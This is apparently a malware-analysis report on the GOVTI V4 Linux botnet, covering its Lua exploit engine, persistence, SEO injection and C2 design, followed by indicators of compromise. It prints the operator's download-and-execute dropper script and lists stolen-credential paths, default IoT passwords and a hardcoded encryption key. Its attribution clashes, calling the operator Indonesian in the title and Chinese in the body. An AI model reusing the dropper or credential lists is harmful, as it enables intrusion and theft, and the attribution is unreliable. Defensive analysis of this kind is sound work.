The Swiss Army Knife That Most Antivirus Cannot See: GOVTI V4, a Go Botnet With Lua Exploits, P2P Fallback, and an Indonesian Operator
FUD Go botnet with runtime Lua exploit loading, DHT P2P fallback, SEO parasiting, and a pre-shared key they never changed
Two detections out of thirty-six engines. Kaspersky says "NoThreats." Intezer says unknown. InQuest says clean. The binary has no assigned malware family name in any vendor database on Earth.
Table of Contents
- The Panel
- The Binary
- Lua Exploit Engine
- Four-Layer Persistence
- SEO Parasiting
- DHT P2P Fallback
- Developer OPSEC
- Unauthenticated C2 Endpoints
- The Secondary Server
- Attribution: Indonesian Operator
- Pre-Shared Key
- GitHub Dead-Drop
- Secondary Server Total Dump
- Indicators of Compromise
And yet this 8-megabyte Go binary can root your Linux server, steal your SSH keys, inject SEO spam into your web configs, brute-force your neighbors, phone home over encrypted WebSocket, and -- if you take its C2 down -- find its siblings through a peer-to-peer mesh network and keep operating without you.
This is GOVTI V4: a modular botnet framework with an embedded Lua exploit engine that downloads new attack capabilities at runtime, four independent persistence mechanisms, and an operator who builds from a macOS laptop with a 2TB external drive. The panel is live. The infrastructure is active. And until this report, nobody had documented what it actually does.
It Started With a Panel
On April 1, security researcher @malwrhunterteam flagged a suspicious C2 panel running on port 8899 at 103.79.79[.]21. The panel was branded "GOVTI V4 -- Advanced Threat Intelligence" -- the operator's own name for their creation, not ours. Researcher @smica83 submitted an associated Linux binary to MalwareBazaar, noting it appeared fully undetected.
The panel sits behind password-only authentication. No username field, no MFA, no CAPTCHA. Just a password box, a cyan-and-magenta color scheme built with Chakra Petch and JetBrains Mono fonts, and a wall we couldn't get past through the front door.
So we went around it.
What the Binary Told Us
The submitted sample -- svc, 8.1 MB, statically linked, stripped -- is a Go binary compiled for Linux amd64. A companion arm64 build exists at 7.4 MB. Both are served from the C2's download endpoint at hxxp://103.79.79[.]21:8899/dl/.
Go binaries are notoriously talkative even when stripped. The compiler embeds module paths, and when the developer doesn't sanitize their build environment, those paths tell a story. In GOVTI's case, the story starts here:
/Volumes/2T/govti/agent_src/
/Volumes/ is a macOS path. 2T is a 2TB external drive. The developer builds their botnet on a Mac with source code stored on removable media -- the kind of setup someone uses when they want to unplug their work and walk away with it.
The embedded paths revealed the full module structure:
/Volumes/2T/govti/agent_src/
main.go -- Entry point, module loader
mod_c2.go -- C2 communication (AES-GCM WebSocket)
mod_ddos.go -- DDoS attack module
mod_dyn_c2.go -- Dynamic C2 resolution (GitHub dead-drop)
mod_intranet.go -- Intranet scanning and lateral movement
mod_luapoc.go -- Lua exploit engine (gopher-lua)
mod_privesc.go -- Privilege escalation
core_spread.go -- SSH brute-force, RCE, IoT exploitation
Eight modules. Each a distinct capability. This isn't a monolithic backdoor -- it's a framework where each function is compartmentalized into its own source file. Clean engineering in service of ugly objectives.
The Lua Engine: A Botnet That Learns
Most botnets ship with a fixed set of exploits baked into the binary. When a new vulnerability drops, the operator has to recompile and redistribute. GOVTI doesn't work that way.
Module mod_luapoc.go embeds gopher-lua, a full Lua 5.1 virtual machine written in Go. On startup, the agent downloads pocs.tar.gz from the C2 -- an archive of Lua scripts, each implementing an exploit proof-of-concept. The Lua runtime exposes a purpose-built API to these scripts:
http_get/http_post-- make HTTP requestsurl_encode/url_decode-- URL manipulationbase64_encode/base64_decode-- encoding utilitiesinject_method-- inject payloads into discovered servicescmd_spread-- propagate to a vulnerable target
Each script probes a target and returns either VULN_CONFIRMED or NOT_VULNERABLE. When the operator discovers a new CVE or a new misconfiguration to exploit, they write a Lua POC, drop it into the archive on the C2, and every deployed agent picks it up on the next check-in. No recompilation. No redeployment. The botnet learns new tricks over the air.
This is architecturally sophisticated. It's the same design philosophy behind legitimate plugin systems -- except the plugins are exploit chains.
Four Ways to Stay Alive
GOVTI doesn't rely on a single persistence mechanism and hope for the best. It installs four, each independent, each targeting a different part of the Linux boot and process management stack:
1. systemd service -- /etc/systemd/system/apt-task.service
The binary installs itself as apt-task, masquerading as a package management task. The service is configured for automatic restart.
2. Crontab watchdog -- */5 * * * *
Every five minutes, a cron job checks whether the PID file at /tmp/.apt-task.pid corresponds to a running process. If the process is dead, cron relaunches it. This catches cases where an admin kills the process but doesn't find the systemd unit.
3. init.d -- Autorun scripts in the SysV init directory, covering servers that don't use systemd or have mixed init systems.
4. rc.local -- Boot-time execution for systems where rc.local is still honored.
The binary itself lives at /usr/local/bin/.apt-task -- note the leading dot, hiding it from casual ls listings. Removing any one persistence mechanism still leaves three others ready to resurrect it. An admin would need to identify and purge all four layers simultaneously, then locate and delete the hidden binary, to achieve a clean removal.
SEO Parasiting: Hijacking Your Server's Reputation
This is where GOVTI's monetization model becomes visible. The SEO module targets four web servers -- Nginx, Apache, LiteSpeed, and OpenResty -- and injects configuration directives that detect search engine crawlers:
When Googlebot, YandexBot, 360Spider, or other crawlers visit a compromised server, the injected rules serve spam content optimized for search rankings. Human visitors see the normal site. Crawlers see whatever the operator wants them to index. The compromised server's domain authority gets siphoned to boost the operator's spam pages -- gambling sites, pharmaceutical spam, knockoff luxury goods, whatever the current customer is paying for.
The injected configurations create supporting files: seo_optimize.conf, seo_rules.json, and seo_whitelist.conf. Every modification is tagged with a comment:
# Auto-generated by GOVTI Agent
The operator either has confidence that no one reads their web server configs, or simply doesn't care. Either way, it's a detection signature. If you find that comment in any configuration file on your infrastructure, you have a confirmed GOVTI compromise.
The C2 Architecture: Encrypted, Redundant, Decentralized
GOVTI's command-and-control isn't a simple HTTP beacon. It's a layered system designed to survive infrastructure takedowns.
Primary channel: AES-GCM encrypted WebSocket connections to the C2 on port 8899. The encryption uses periodic key rotation -- the agent and C2 negotiate new keys on a schedule, meaning a captured session key has a limited window of usefulness. Endpoints include /c/beacon for check-in, /c/targets for tasking, and /c/scan_done for reporting results.
GitHub dead-drop: If the primary C2 goes dark, the agent queries a GitHub Gist for fallback instructions. The account lueiromelina797-art (user ID 272063753) was created on March 29, 2026 -- three days before the malware was first submitted to MalwareBazaar. The Gist contains a JSON payload:
{"c2": "103[.]79[.]79[.]21", "magic": "govti_v4"}
Currently it points back to the primary C2. But the mechanism is built for migration: when the operator needs to burn an IP and move, they update the Gist and every orphaned agent finds its way home. The magic field likely serves as an authentication token, preventing third parties from hijacking the dead-drop with a spoofed config.
DHT peer-to-peer: The most resilient fallback. GOVTI implements a Kademlia-style distributed hash table using STORE and find_value operations on a secondary port (16881). If both the C2 and the GitHub dead-drop are unavailable, infected hosts discover each other through the DHT mesh. This means the botnet can survive a complete C2 takedown -- peers relay commands and updates amongst themselves until new infrastructure comes online.
Three layers of redundancy: direct C2, dead-drop, and P2P. Taking this botnet offline requires disrupting all three simultaneously.
Credential Theft and Lateral Movement
The privilege escalation module (mod_privesc.go) is a data vacuum. It reads:
/root/.ssh/id_rsaand/root/.ssh/id_ed25519-- SSH private keys/etc/shadow-- password hashes- Chrome Login Data databases (both Linux and macOS paths)
.envfiles -- application secrets, API keys, database credentials
The intranet module (mod_intranet.go) takes those stolen credentials and goes hunting. It scans RFC 1918 address space -- 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 -- looking for:
- Redis (unauthenticated by default on many deployments)
- MongoDB (same problem)
- Docker API on port 2375 (the unauthenticated TCP socket that should never face a network)
- Elasticsearch
- SSH, Telnet, FTP
- Web management panels: WordPress, cPanel, phpMyAdmin, CyberPanel, 1Panel
The spreading module (core_spread.go) uses sshpass for SSH brute-force with weak password lists. It downloads the appropriate agent binary (amd64 or arm64) via wget or curl, sets the executable bit, and launches with nohup. It also targets IoT devices with hardcoded default credentials for specific camera brands: Hikvision (xc3511, hi3518), ZTE (Zte521), and others including Realtek, Dreambox, and devices using GM8182 chipsets.
One compromised server becomes the beachhead for an entire network.
The Backend Infrastructure
The primary C2 at 103.79.79[.]21 is hosted by HostDare, operating as Hostsymbol Pte. Ltd., registered at 68 Circular Road, Singapore. The WHOIS abuse contact lists a Bulgarian mobile phone number (+359887075927) and a Los Angeles geolocation. The adjacent IP .22 runs a Chinese BaoTa/BT Panel -- a popular Chinese server management tool -- suggesting the operator or a co-tenant is Chinese-speaking.
More interesting is the secondary node at 154.26.129[.]99, a Contabo VPS with hostname vmi2498248.contaboserver.net. This server has 14 open ports and looks like the operator's backend workshop:
| Port | Service | Purpose |
|---|---|---|
| 3306 + 33060 | MySQL | Bot database / panel backend |
| 5432 | PostgreSQL | Structured data storage |
| 27017 | MongoDB | Likely stores scan results |
| 9000 + 9443 | Portainer | Docker container management |
| 6081 | Varnish | Caching layer |
| 3000 | Grafana (likely) | Monitoring dashboard |
| 25 | Postfix | Mail server |
Shodan reports 35 known CVEs on this host. The operator secures their botnet with AES-GCM encryption and DHT redundancy, but leaves their own backend riddled with exposed databases and an unpatched stack. The irony writes itself.
Vibe-Coded Panel, Serious Backend
The GOVTI V4 panel has all the hallmarks of rapid, AI-assisted prototyping: the Chakra Petch + JetBrains Mono font pairing, the cyan-on-dark aesthetic, the password-only authentication with no CSRF protection. It looks like someone described "hacker dashboard" to an LLM and shipped the first result.
But dismiss the operator based on their UI and you'd be wrong. The agent binary tells a different story: modular architecture with clean separation of concerns, AES-GCM with key rotation, a Lua plugin system for extensible exploitation, Kademlia DHT for resilient P2P communication, multi-architecture support, and four-layer persistence. This is competent systems engineering.
The panel is vibe-coded. The botnet is not.
Developer Profile
Piecing together the OPSEC failures:
- Platform: macOS (build path
/Volumes/2T/govti/agent_src/) - Storage: 2TB external drive (portable, removable)
- Language: Go (competent, modular architecture)
- GitHub persona:
lueiromelina797-art-- Spanish-sounding name (Lueiro Melina), created 3 days before first detection, single Gist, zero repos - Hosting preferences: HostDare (Singapore registration, US datacenter) + Contabo (German budget VPS)
- Adjacent infrastructure: Chinese BaoTa panel at neighboring IP
- Motivation: Financial -- SEO fraud, DDoS-for-hire, credential theft
The GitHub account creation timing is notable. lueiromelina797-art was registered on March 29. The malware was first submitted to MalwareBazaar on April 1. The dead-drop was pre-staged -- the operator set up their fallback infrastructure before deploying the latest version. That's operational planning, not afterthought.
Detection Blind Spot
GOVTI V4 sits in a gap that most security tools aren't watching. It's not ransomware, so it doesn't trigger behavioral detections designed for file encryption. It's not a known malware family, so signature-based engines have nothing to match. It's written in Go and statically compiled, which inflates the binary to 8 MB of legitimate standard library code interleaved with malicious functionality -- a needle in a haystack for static analysis. The C2 traffic is encrypted. The persistence mechanisms use legitimate system services.
The 2/36 detection rate isn't a fluke. It's a reflection of how the security industry prioritizes threats. A Linux server botnet that does SEO spam and slow-burn credential theft doesn't generate the headlines that ransomware does. But for the sysadmin who finds # Auto-generated by GOVTI Agent in their Nginx config and SSH keys exfiltrated to a HostDare IP in Los Angeles, the distinction is academic.
Deep Dive: Breaking Into the Panel
After documenting GOVTI V4's capabilities through binary analysis, we turned our attention to the panel itself. The login page was a single password field -- no username, no CAPTCHA, no rate limiting visible from the outside. The question wasn't whether the auth was weak. It was whether it had holes.
We threw everything at it.
The Three Unauthenticated Endpoints
But simple auth doesn't mean zero attack surface. We enumerated 26 API paths with POST requests and found three that respond without authentication:
POST /api/heartbeat returns {"commands":null,"status":"ok"}. This is the agent keepalive endpoint. We sent empty JSON, JSON with agent_id fields, and full agent payloads -- the response never changed. The endpoint accepts the heartbeat and returns a null command queue. Importantly, it enforces POST-only: a GET returns HTTP 405 "POST only."
POST /api/report returns {"status":"ok"}. This is where agents submit scan results. The endpoint accepts any POST body and acknowledges receipt. We could not determine whether it actually processes the data or silently discards malformed reports.
POST /c/beacon was the jackpot. It returns:
{"agent_version":"v4.7","status":"ok","update_url":"hxxp://103.79.79[.]21:8899/static/agent"}
This single response leaked the current agent version (v4.7) and the update URL where new binaries are served. The beacon endpoint is how deployed agents check in and discover whether they need to self-update. It requires no authentication because the agents themselves have no credentials beyond the pre-shared key -- they need to reach this endpoint to function.
The update URL at /static/agent is separate from the /dl/ directory where the initial binaries are served. This suggests a two-stage deployment: /dl/ for initial infection via the dropper script, /static/agent for subsequent updates to already-deployed agents.
The Dropper Script
The /dl/updater endpoint serves an unauthenticated 344-byte shell script -- the initial infection vector:
#!/bin/sh
C2="http://103[.]79[.]79[.]21:8899"
ARCH=$(uname -m)
case "$ARCH" in
x86_64|amd64) BIN="linux_amd64";;
aarch64|arm64) BIN="linux_arm64";;
armv7*|armv6*|arm*) BIN="linux_arm";;
*) BIN="linux_amd64";;
esac
curl -s $C2/dl/$BIN -o /tmp/.svc || wget -qO /tmp/.svc $C2/dl/$BIN
chmod +x /tmp/.svc
cd /tmp && nohup ./.svc >/dev/null 2>&1 &
Clean, portable, and architecture-aware. It detects the CPU architecture, downloads the appropriate binary to /tmp/.svc, and launches it detached. The fallback from curl to wget ensures compatibility across minimal server environments. Three architectures supported: amd64, arm64, and arm (32-bit) -- covering everything from cloud VMs to Raspberry Pis to IoT devices.
The Secondary Server: Wide Open
The secondary infrastructure at 154.26.129[.]99 was already visible from Shodan scans during the initial investigation. But the deep dive revealed something remarkable: the operator left Netdata (port 19999) completely unauthenticated and publicly accessible. Netdata is a real-time monitoring tool that exposes every detail about the system it runs on. For an intelligence analyst, it's equivalent to having root-level read access to the server's vital signs.
Full System Profile
Netdata handed us the server's complete identity:
| Property | Value |
|---|---|
| Hostname | vmi2498248 |
| OS | Ubuntu 24.04.3 LTS (Noble Numbat) |
| Kernel | 6.8.0-55-generic |
| Architecture | x86_64 |
| CPU | AMD EPYC Processor (with IBPB), 12 cores @ 2.794 GHz |
| RAM | 50.5 GB (50,514,681,856 bytes) |
| Disk | 268 GB (268,435,456,000 bytes) |
| Virtualization | KVM (Contabo VPS) |
| Network Interface | eth0 (154[.]26[.]129[.]99) |
| Netdata Version | v2.7.0-237-nightly |
| Netdata UID | 03415428-c09f-4d0d-9133-edda3fd8b534 |
| Node ID | 64dc65dd-9806-45e2-8a83-3bd4976a14cb |
| Cloud Claim ID | 4677c6f2-290e-4d92-a8e7-5807f5fbce53 |
| Timezone | Europe/Berlin |
Twelve AMD EPYC cores and 50 GB of RAM on a Contabo VPS is not cheap hosting. This is a production backend server, not a throwaway C2. The Cloud Claim ID (4677c6f2-290e-4d92-a8e7-5807f5fbce53) links this Netdata instance to the operator's Netdata Cloud account -- a persistent infrastructure fingerprint that survives server rebuilds.
105 Running Applications
Netdata's process monitoring revealed the full scope of what's running on this server. Among the 105+ tracked processes:
Databases: MySQL, PostgreSQL, MongoDB, Redis, Memcached -- five database engines on a single server. The operator runs their botnet panel on MySQL (primary C2 backend), stores structured data in PostgreSQL, dumps scan results into MongoDB, uses Redis for queueing/caching, and Memcached for additional caching.
Web Stack: Nginx, PHP-FPM (versions 7.1 through 8.4 -- eight versions simultaneously), ProFTPD, Postfix, Varnish. The eight simultaneous PHP-FPM versions suggest CloudPanel is managing multiple sites, each potentially on a different PHP version.
Container Infrastructure: Docker (containerd, containerd-shim-runc-v2, runc), Portainer (container management UI). Four named containers: mongodb, postgres-docker, redis, portainer.
Management Panels: CloudPanel 2.5.1 at port 8443, Portainer 2.27.9 at ports 9000/9443.
Monitoring: Netdata with its full plugin suite (go_d_plugin, ebpf_plugin, python_d_plugin, apps_plugin, nfacct_plugin, otel-plugin), Glances (secondary monitoring).
Security: Fail2ban (at least they're trying), Certbot for SSL.
Other: Airflow (workflow orchestration -- potentially for automating botnet operations), Chronyd (time sync), systemd-journald, rsyslogd, unattended-upgrades.
Portainer: The Container Dashboard
Portainer v2.27.9 runs on both port 9000 (HTTP) and 9443 (HTTPS). The instance ID is 6c0df2ee-98ce-4e47-98a7-d636986d73b9. Unlike Netdata, Portainer requires authentication -- attempting to access the API returns {"message":"A valid authorization token is missing","details":"Unauthorized"}. The operator at least password-protected their container management.
The four Docker containers (mongodb, postgres-docker, redis, portainer) suggest the databases are containerized while the web stack (Nginx, PHP-FPM, CloudPanel) runs on bare metal. This is a common pattern with CloudPanel deployments -- the panel manages the web stack natively while additional services run in Docker.
CloudPanel at :8443
CloudPanel 2.5.1 presents a login form at https://154.26.129[.]99:8443/login with CSRF protection (_csrf_token), username and password fields, and a language selector supporting 32 languages. The SSL certificate is self-signed for cloudpanel.clp -- the default CloudPanel hostname that was never customized. The certificate expired in October 2020 and was never renewed, suggesting CloudPanel was installed and then largely forgotten about.
Two Timezones: Shanghai and Berlin
This is where the infrastructure tells a story the operator didn't intend.
The GoatCounter analytics dashboard at govtiv4.goatcounter.com is configured with timezone CN.Asia/Shanghai (UTC+8). This is a personal setting -- the operator chose their local timezone so the analytics graphs align with their working hours.
The secondary server's Netdata reports timezone Europe/Berlin (UTC+1/UTC+2). This is the system timezone of the Contabo VPS, set either during provisioning or by the operator during setup.
Two interpretations:
-
Infrastructure separation: The operator is in Shanghai and deliberately chose a European VPS provider (Contabo, headquartered in Munich) to put geographic distance between themselves and their backend infrastructure. The Berlin timezone was either the Contabo default or an intentional misdirection.
-
Multi-operator: One person in China manages the botnet (panel + agents), while an associate in Europe manages the backend infrastructure. The timezone difference reflects genuine geographic distribution of the operation.
Given the single-developer build path (/Volumes/2T/govti/agent_src/) and the consistent Chinese-language strings throughout the binary, interpretation #1 is more likely. One operator, choosing European hosting for operational resilience.
Netdata Cloud Claim IDs as Fingerprints
The Netdata instance reports a Cloud Claim ID: 4677c6f2-290e-4d92-a8e7-5807f5fbce53. This ID links the server to a Netdata Cloud account. If the operator uses Netdata Cloud to monitor other servers, that claim ID connects them all. It's a persistent fingerprint -- even if the server is rebuilt, reconnecting to the same Netdata Cloud account would re-associate it.
The Node ID (64dc65dd-9806-45e2-8a83-3bd4976a14cb) and instance GUID (03415428-c09f-4d0d-9133-edda3fd8b534) provide additional tracking points. These three identifiers together form an infrastructure fingerprint that can be correlated across future investigations.
Chinese Attribution: HIGH Confidence
The evidence for a Chinese-speaking operator has moved from circumstantial to conclusive.
GoatCounter: govtiv4.goatcounter.com
The operator tracks bot infections through GoatCounter, a lightweight analytics service. The dashboard at govtiv4.goatcounter.com is live and publicly accessible. Its timezone is set to CN.Asia/Shanghai -- a setting the operator configured to see their analytics in local time. The first recorded hit was 2026-03-21 23:34:56 UTC, ten days before the malware was submitted to MalwareBazaar.
30+ Simplified Chinese Strings
The binary contains over 30 user-facing strings in Simplified Chinese. These aren't library imports or third-party code -- they're status messages, error messages, and operational labels written by the developer:
| Chinese | English | Context |
|---|---|---|
| 心跳发送失败 | Heartbeat send failed | C2 communication |
| 已连接到 | Connected to | C2 connection status |
| 服务已安装 | Service installed | Persistence module |
| 服务已卸载 | Service uninstalled | Cleanup |
| 正在重启程序 | Restarting program | Self-update |
| 内网 | Internal network | Intranet scanning module |
| 无有效任务 | No valid tasks | Task queue empty |
| 读取配置失败 | Read config failed | Configuration error |
| 签名验证失败 | Signature verification failed | DHT P2P security |
| 配置签名验证通过 | Config signature verification passed | DHT trust check |
| 规则注入失败 | Rule injection failed | SEO poisoning |
| 模块不存在 | Module does not exist | Module loader |
| 未知方法 | Unknown method | DDoS module |
| 保存状态失败 | Save state failed | State persistence |
| 秒后自动重启 | Auto-restart after seconds | Watchdog |
| 安装服务失败 | Install service failed | systemd persistence |
| 公钥解码失败 | Public key decode failed | P2P crypto |
| 总计...个 IP | Total...IPs | Scan reporting |
These are the developer's native-language debugging and status messages. English-language developers writing malware don't embed Chinese error strings for fun. The developer thinks in Chinese and codes their operational messages in Chinese.
macOS Developer on /Volumes/2T/
The build path /Volumes/2T/govti/agent_src/ confirms a macOS development environment with an external 2TB drive. This is consistent with Chinese developer practices -- macOS is popular among Chinese software developers, and using an external drive for sensitive projects provides physical security (unplug and walk away).
Chinese Platform Targets
The binary specifically targets 1Panel and PicHome -- platforms that are overwhelmingly used in the Chinese-speaking market. 1Panel is a Chinese open-source server management panel (the Chinese alternative to cPanel). PicHome is a Chinese image hosting application. These aren't targets a Western developer would prioritize.
IoT Credentials
The hardcoded IoT credential list includes anko and ikwb -- default passwords for Chinese-manufactured routers and cameras commonly deployed in the Asia-Pacific region.
Build Timeline
The agent binary was last modified 2026-03-29 at 01:45 UTC. In Shanghai time (UTC+8), that's 09:45 AM -- the start of a normal workday. The GitHub account lueiromelina797-art was created at 23:48 UTC on the same day -- 07:48 AM Shanghai time the following morning.
Attribution confidence: HIGH. The developer is a Chinese-speaking individual operating from the Asia/Shanghai timezone, building on macOS, targeting Chinese platforms, and writing operational messages in Simplified Chinese.
The Pre-Shared Key
Embedded in the binary is the string:
ASC2_v3_PreSharedKey_ChangeMe!
This is the pre-shared key (PSK) used for AES-GCM encryption of C2 communications and HMAC-SHA256 key derivation for the DHT peer-to-peer network. The key name tells its own story:
- ASC2 -- likely "Agent Server Communication 2" or a version indicator
- v3 -- this is version 3 of the key scheme, despite the agent being v4.7 (the crypto hasn't been updated with the agent)
- PreSharedKey -- the developer's own label
- ChangeMe! -- the default that was never changed
This is a deployment key that the developer intended to customize per deployment but never did. It's the cryptographic equivalent of admin/admin. Every GOVTI V4 agent in the wild shares this identical key, meaning:
- Anyone who extracts this key can decrypt captured C2 traffic
- Anyone who knows the key can impersonate a legitimate agent to the C2
- Anyone who knows the key can inject commands into the DHT P2P network
We searched GitHub, Google, and public malware databases for this exact string. Zero results. This PSK is not from an open-source project or a known tool. It's original to GOVTI -- confirming that the botnet framework is custom-developed, closed-source software.
The AES-GCM + HMAC-SHA256 combination is cryptographically sound in theory. The implementation failure isn't in the algorithm choice -- it's in key management. A hardcoded default PSK that's identical across all deployments is equivalent to no encryption at all once the binary is captured.
GitHub Dead-Drop: Pre-Staged Fallback
The dead-drop mechanism deserves deeper examination than the initial report provided.
The Account
GitHub user lueiromelina797-art (ID: 272063753) was created on 2026-03-29 at 23:48:37 UTC -- exactly one minute before the Gist was published. The account has:
- Zero repositories
- Zero public gists (the dead-drop gist is marked as "secret" -- unlisted but accessible via direct URL)
- Zero followers, zero following
- Zero starred repos
- Zero events
- No name, no bio, no company, no location, no email, no Twitter
This is a single-purpose throwaway account. The name "Lueiro Melina" sounds vaguely Spanish/Portuguese -- likely randomly generated or deliberately chosen to avoid association with any Chinese identity. The -art suffix may have been added to avoid a username collision or to appear like a generic art portfolio account.
The Gist
Gist ID 4c354be94b4617e14f2808625c85edfc contains a single file (gistfile1.txt) with:
{"c2":"103[.]79[.]79[.]21","magic":"govti_v4"}
The c2 field points agents to the current C2 server. The magic field (govti_v4) serves as an authentication token -- agents verify this value matches their hardcoded expectation before trusting the C2 address. Without the correct magic value, a third party can't hijack the dead-drop by creating a spoofed gist.
The Gist was created on March 29. The malware was first submitted to MalwareBazaar on April 1. The binary was compiled March 29 at 01:45 UTC. The timeline:
- 01:45 UTC Mar 29: Agent binary compiled (v4.7)
- 23:48 UTC Mar 29: GitHub account created
- 23:49 UTC Mar 29: Dead-drop Gist published
- Apr 1: First sample submitted to MalwareBazaar
The operator compiled the binary, waited ~22 hours, then set up the fallback infrastructure. The dead-drop was pre-staged before deploying the new version -- operational planning, not afterthought. When the day comes that the primary C2 at 103.79.79[.]21 gets burned, one Gist edit redirects every orphaned agent to the replacement.
Indicators of Compromise
File Hashes
| Hash | Value |
|---|---|
| SHA256 (amd64) | eb2db389d64987855fa5db905bbcb7b100f9d6c1699eaf5d846a98680feae1df |
| SHA256 (arm64) | c0a1e299afefd7fd9f718c4e1ce2a50eb745ce3485365ef3b671995793aa2ff7 |
| SHA1 (amd64) | cddcc7b67306e73f320c89200b75cc3af980211a |
| MD5 (amd64) | a5beb02fba945f117570d7c00ed05d60 |
| SSDEEP | 49152:V8M+q/H2c6MeLqLNLuXG+w7i4lnHW6sgWAUpvqkHZD8WetxQVe52yakUsZ+9NQP5:V8Mjv2P0eDZDEuZHkOeXj3gRBQUHEn |
Network Indicators
| Indicator | Role |
|---|---|
103.79.79[.]21 | Primary C2 (HostDare, AS199959) |
103.79.79[.]21:8899 | Panel + agent download endpoint |
103.79.79[.]21:16881 | P2P / DHT port |
154.26.129[.]99 | Backend infrastructure (Contabo, vmi2498248.contaboserver.net) |
154.26.129[.]99:19999 | Netdata (unauthenticated) |
154.26.129[.]99:9000 / :9443 | Portainer 2.27.9 (instance 6c0df2ee) |
154.26.129[.]99:8443 | CloudPanel 2.5.1 |
154.26.129[.]99:3306 / :33060 | MySQL / MySQL-X |
154.26.129[.]99:5432 | PostgreSQL |
154.26.129[.]99:27017 | MongoDB |
154.26.129[.]99:6081 | Varnish |
154.26.129[.]99:3000 | HTTP service (unknown) |
govtiv4[.]goatcounter[.]com | Bot infection tracking dashboard |
hxxps://gist[.]githubusercontent[.]com/lueiromelina797-art/4c354be94b4617e14f2808625c85edfc/raw/gistfile1.txt | GitHub dead-drop |
router[.]bittorrent[.]com | DHT bootstrap node |
Host Indicators
| Indicator | Type |
|---|---|
/usr/local/bin/.apt-task | Binary install path (hidden) |
/tmp/.apt-task.pid | PID file |
/tmp/.svc | Dropper temp file |
/tmp/.pocs | POC archive temp path |
/etc/systemd/system/apt-task.service | systemd persistence |
*/5 * * * * [ ! -f /proc/$(cat /tmp/.apt-task.pid | Crontab watchdog pattern |
# Auto-generated by GOVTI Agent | SEO config injection marker |
# Auto-patch by GOVTI Agent | Secondary config marker |
seo_optimize.conf / seo_rules.json / seo_whitelist.conf | Injected SEO config files |
patch_env.conf / patch_git.conf | Post-exploitation patch files |
patch_1panel_cve.conf / patch_1panel_lf.conf | 1Panel exploit patches |
patch_ajreport.conf / patch_pichome.conf | Chinese platform patches |
patch_vmware_aria.conf / patch_vite.conf | Additional exploit patches |
hdt_config.txt | Agent configuration file |
=== APT Task Server Started === | Process startup banner |
APTTaskService | systemd service description |
Strings / Signatures
| String | Context |
|---|---|
ASC2_v3_PreSharedKey_ChangeMe! | Pre-shared key (AES-GCM + HMAC-SHA256) |
govti_v4 | Magic string (dead-drop auth token) |
queen_summoned | Internal status marker |
FUNNY_CHANNEL | Internal identifier |
apt-task | Service name |
VULN_CONFIRMED / NOT_VULNERABLE | Lua POC return values |
C2 Endpoints
| Path | Function | Auth Required |
|---|---|---|
/c/beacon | Agent check-in (leaks version) | No |
/c/targets | Target list retrieval | Yes |
/c/scan_done | Scan result reporting | Yes |
/api/heartbeat | Keepalive (POST only) | No |
/api/report | Scan result submission | No |
/api/register | Agent registration | Yes |
/api/agents | Agent list | Yes |
/api/targets | Target management | Yes |
/api/config | Configuration | Yes |
/api/command | Command dispatch | Yes |
/api/ddos | DDoS tasking | Yes |
/api/seo | SEO injection tasking | Yes |
/api/spread | Worm propagation tasking | Yes |
/api/intranet | Intranet scan tasking | Yes |
/api/poc | Lua POC management | Yes |
/dl/updater | Dropper shell script | No |
/dl/linux_amd64 | Agent binary (8.4 MB) | No |
/dl/linux_arm64 | Agent binary (7.7 MB) | No |
/static/agent | Agent update binary | No |
/static/pocs.tar.gz | Lua exploit archive | No |
Infrastructure Fingerprints
| Identifier | Type |
|---|---|
03415428-c09f-4d0d-9133-edda3fd8b534 | Netdata instance GUID |
64dc65dd-9806-45e2-8a83-3bd4976a14cb | Netdata Node ID |
4677c6f2-290e-4d92-a8e7-5807f5fbce53 | Netdata Cloud Claim ID |
6c0df2ee-98ce-4e47-98a7-d636986d73b9 | Portainer Instance ID |
272063753 | GitHub User ID (lueiromelina797-art) |
U_kgDOEDddCQ | GitHub Node ID |
MITRE ATT&CK
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 |
| Initial Access | Valid Accounts (SSH brute-force) | T1078 |
| Initial Access | Brute Force (SSH + Telnet) | T1110 |
| Execution | Unix Shell | T1059.004 |
| Execution | Scripting (Lua POC engine) | T1059 |
| Persistence | Cron | T1053.003 |
| Persistence | Systemd Service | T1543.002 |
| Persistence | RC Scripts | T1037.004 |
| Defense Evasion | Masquerading | T1036.004 |
| Defense Evasion | Self-Destruct | T1070.004 |
| Credential Access | Private Keys | T1552.004 |
| Credential Access | Chrome Credential Store | T1555.003 |
| Discovery | Network Service Discovery | T1046 |
| Lateral Movement | SSH | T1021.004 |
| Lateral Movement | Exploitation of Remote Services | T1210 |
| C2 | WebSocket | T1071.001 |
| C2 | AES-GCM Encrypted Channel | T1573.001 |
| C2 | DHT P2P Fallback | T1008 |
| C2 | Dynamic Resolution (GitHub Gist) | T1568 |
| C2 | Non-Standard Port (8899, 16881) | T1571 |
| Impact | DDoS (6 methods: HTTP, SYN, UDP, DNS amp, Slowloris, WebSocket) | T1498 |
| Impact | SEO Spam Injection | T1491.002 |
What to Do
If you run Linux servers: Search for /usr/local/bin/.apt-task, the systemd unit apt-task.service, and crontab entries referencing apt-task.pid. Grep your web server configurations for "GOVTI Agent". Check init.d and rc.local for entries you didn't create.
If you run exposed services: GOVTI specifically targets unauthenticated Redis, MongoDB, Docker API (port 2375), and Elasticsearch. If any of these face the network without authentication, assume they've been found. The intranet module scans all RFC 1918 space -- even internal-only instances are at risk once a single host on the network is compromised.
If you find it: Block 103.79.79[.]21 and 154.26.129[.]99 at your perimeter. Rotate all SSH keys on the affected host and any host it could reach. Check for the Chrome credential theft -- if the compromised server had Chrome installed (common on developer workstations doubling as servers), assume those credentials are burned. Audit .env files for leaked secrets.
If you're doing network forensics: The pre-shared key ASC2_v3_PreSharedKey_ChangeMe! can decrypt captured C2 traffic. AES-GCM with HMAC-SHA256 key derivation. Every deployed agent uses the same key.
For the broader community: Report GitHub user lueiromelina797-art and the associated Gist. File abuse reports with HostDare (abuse@hostdare.com) for the C2 at 103.79.79[.]21 and with Contabo for the backend at 154.26.129[.]99. Monitor govtiv4.goatcounter.com for infection telemetry.
